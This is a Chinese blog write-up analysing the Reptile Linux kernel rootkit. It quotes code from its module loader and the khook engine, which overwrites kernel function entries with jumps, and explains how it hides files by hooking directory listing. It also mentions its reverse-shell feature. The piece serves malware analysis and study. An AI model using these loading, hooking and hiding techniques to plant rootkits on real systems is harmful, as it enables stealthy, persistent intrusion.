LKM Linux rootkit之Reptile分析
前言
这个马功能挺齐全,不过年代久远。作为入门,够用了。下面结合源码,分析一下这个工具。
功能演示
隐藏文件和目录
反连shell,这里是控制端。
目录架构
目录结构大致如下:
khook:项目地址[https://github.com/milabs/khook],Linux内核挂钩引擎
parasite_loader:项目地址[https://github.com/milabs/kmatryoshka],堆叠式 LKM 加载器
sbin:功能命令目录,包括:cmd、client、listener、packet、reverse
rep_mod.c:核心逻辑部分
scripts:bash脚本
setup.sh:安装脚本
parasite_loader
堆叠式 LKM 加载器,简单点说就是把一个模块加载到内核。
代码是运行在用户模式下,是不能直接修改内核的文件。所以需要先修改user_addr_max()的范围到内核中需要的地址范围。
user_addr_max() = 加载模块地址 + 模块大小
user_addr_max()=(unsigned long)parasite_blob + sizeof(parasite_blob)
内核中有一个全局的符号表kallsyms,使用sys_init_module符号来加载模块,需要到符号表中查找一下地址
//查询符号表的函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
unsigned long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++])
return !!(data[1] = addr);
}
return 0;
}
// 根据模块名字返回模块地址
static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[1];
}
sys_init_module = (void *)ksym_lookup_name("sys_init_module");
内核函数sys_init_module用来处理模块加载的整个过程
参数 umod:指向用户空间内核模块文件映像数据的内存地址。
参数 len:该文件的数据大小。
参数 uarg:传给模块的参数在用户空间下的内存地址。
// long sys_init_module(void __user *umod, unsigned long len, const char __user *uargs);
static char parasite_blob[] = {
#include "parasite_blob.inc"
};
sizeof(parasite_blob);
const char *nullarg = parasite_blob;
while (*nullarg)
nullarg++;
sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg)
khook
Linux内核挂钩引擎
在开始前,先看两个结构体。
STUB
一个STUB会有一个钩子函数。
typedef struct {
#pragma pack(push, 1)
union {
unsigned char _0x00_[ 0x10 ];
atomic_t use_count;
};
union {
unsigned char _0x10_[ 0x20 ];
unsigned char orig[0];
};
union {
unsigned char _0x30_[ 0x40 ];
unsigned char hook[0];
};
#pragma pack(pop)
unsigned nbytes;
} __attribute__((aligned(32))) khook_stub_t;
获取stub结构体和大小
static khook_stub_t *khook_stub_tbl;
// 获取stub结构体
#define KHOOK_STUB(h)
(khook_stub_tbl + ((h) - KHOOK_tbl))
// 获取stub结构体大小
#define KHOOK_STUB_TBL_SIZE
(sizeof(khook_stub_t) * (KHOOK_tbl_end - KHOOK_tbl + 1))
Khook
表示一个钩子,下图是它的工作原理图
khookengine.h
typedef struct {
void *fn; // 钩子地址
struct {
const char *name; // 被勾符号的名字
char *addr; // 被勾符号的地址
char *addr_map; // 被勾符号地址被映射的虚拟地址
} target;
void *orig; // 源函数
unsigned long flags; // 标志参数,没有实质作用。
} khook_t;
// KHOOK函数调用模板
// 假设原函数名字为fun
// 则自定义的fun的钩子函数名字必须为khook_fun
#define KHOOK_(t, f)
static inline typeof(t) khook_##t; /* forward decl */
khook_t
__attribute__((unused))
__attribute__((aligned(1)))
// 表示这个结构需要被分配到.data.khook节中
__attribute__((section(".data.khook")))
KHOOK_##t = {
.fn = khook_##t,
.target.name = #t,
.flags = f,
}
/*
有两种类型的函数
1、头文件中包含了函数原型,则在代码中包含头文件就行了
2、写在.c文件,但是.h文件中没有定义,则需要通过KHOOK_EXT来定义钩子函数
*/
#define KHOOK(t)
KHOOK_(t, 0)
#define KHOOK_EXT(r, t, ...)
extern r t(__VA_ARGS__);
KHOOK_(t, 0)
#define KHOOK_NOREF(t)
KHOOK_(t, KHOOK_F_NOREF)
#define KHOOK_NOREF_EXT(r, t, ...)
extern r t(__VA_ARGS__);
KHOOK_(t, KHOOK_F_NOREF)
/*
传入原函数的名字和参数,KHOOK_ORIGIN就可以当做原函数来执行
*/
#define KHOOK_ORIGIN(t, ...)
((typeof(t) *)KHOOK_##t.orig)(__VA_ARGS__)
khookengine.lds
.表示但钱定位器符号的位置,所以KHOOK_tbl指向.data.khook的开始,KHOOK_tbl_end指向.data.khook的结尾。他们都在.data中
SECTIONS
{
.data : {
KHOOK_tbl = . ;
*(.data.khook)
KHOOK_tbl_end = . ;
}
}
khookengine.c
开始是khook_init这里,从这里开始看。
先初始化两个内核符号
void *(*malloc)(long size) = NULL;
int (*set_memory_x)(unsigned long, int) = NULL;
从kallsyms中找到符号module_alloc在内核中的地址
malloc = khook_lookup_name("module_alloc");
分配地址空间并初始化
khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
if (!khook_stub_tbl) return -ENOMEM;
memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);
把这块内存设置为可执行
int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)khook_stub_tbl, numpages);
找到每个钩子的地址
khook_resolve();
把内存地址和虚拟地址做映射
static void khook_map(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr) continue;
p->target.addr_map = khook_map_writable(p->target.addr, 32);
khook_debug("target %s@%p -> %pn", p->target.name, p->target.addr, p->target.addr_map);
}
}
stop_machine作用是暂停其他cpu的情况下执行我们需要的操作,继续跟进khook_sm_init_hooks。这里边遍历每一个钩子,传递给khook_arch_sm_init_one
static int khook_sm_init_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_init_one(p);
}
return 0;
}
khook_arch_sm_init_one是hook最核心的部分,对应了开始的原理图。
根据钩子获取对应的stub,把hook和stub关联起来。
khook_stub_t *stub = KHOOK_STUB(hook);
检查钩子地址的第一个字符,确保不等于0xE9和0xCC
if (hook->target.addr[0] == (char)0xE9 ||
hook->target.addr[0] == (char)0xCC) return;
把stub.inc文件的内容复制到stub的地址空间,
static const char khook_stub_template[] = {
# include KHOOK_STUB_FILE_NAME
};
memcpy(stub, khook_stub_template, sizeof(khook_stub_template));
通过stub跳转到钩子函数,对应第3步。
stub_fixup(stub->hook, hook->fn);
先找到钩子的原符号的地址,要求字符数大于5个
while (stub->nbytes < 5)
stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);
保存地址到到stub中
memcpy(stub->orig, hook->target.addr, stub->nbytes);
用跳转指令覆盖原函数内容,对应原理图中的第5步.
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes);
之后就是按部就班运行程序了。
rep_mod.c
这个是写入内核的模块,也是rootkit的核心逻辑部分。
这个文件中主要是一些功能函数,一个个分析意义不大,下边找一个功能,进行分析。主要分析一下隐藏文件的过程。大致原理:hook内核处理文件遍历的接口,把需要隐藏的文件去掉,其他正常返回。
还是采用之前的笨办法,按照使用流程一步一步跟:
用setup.sh安装的时候,会让输入配置参数。第一个配置项就是要隐藏的文件或者目录名:
这里把用户的输入传递给了MODULE变量
load_config "Hide name (will be used to hide dirs/files)" "reptile"
MODULE=$RETVAL
接着,把这个变量传递给了c代码的HIDE变量
接着,hook相关内核接口fillonedir,匹配要隐藏的文件,如果匹配到,直接返回0,ls命令也就不会显示了要隐藏的文件了。
fillonedir接口一个一个填充目录项。使用ls等文件目录遍历的时候,会调用。返回零就代表没有这个文件。
static int fillonedir ( void * __buf , const char * name , int namlen , loff_t offset ,
u64 ino , unsigned int d_type )
{
struct readdir_callback *buf = ( struct readdir_callback *) __buf ;
struct old_linux_dirent __user * dirent ;
unsigned long d_ino ;
if ( buf -> result )
return -EINVAL ;
d_ino = ino ;
if ( sizeof ( d_ino ) < sizeof ( ino ) && d_ino != ino ) {
buf -> result = -EOVERFLOW ;
return -EOVERFLOW ;
}
buf -> result ++;
dirent = buf -> dirent ;
if (! access_ok ( VERIFY_WRITE , dirent ,
( unsigned long )( dirent -> d_name + namlen + 1) -
( unsigned long ) dirent ))
goto efault ;
if ( __put_user ( d_ino , &dirent -> d_ino ) ||
__put_user ( offset , &dirent -> d_offset ) ||
__put_user ( namlen , &dirent -> d_namlen ) ||
__copy_to_user ( dirent -> d_name , name , namlen ) ||
__put_user ( 0, dirent -> d_name + namlen ))
goto efault ;
return 0;
efault :
buf -> result = -EFAULT ;
return -EFAULT ;
}
总结
篇幅原因,工具的第三块没有深入分析。后续有空,再进行研究。其次,这款工具比较老了,经过测试,也发现了使用过程中的很多问题,不够稳定。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论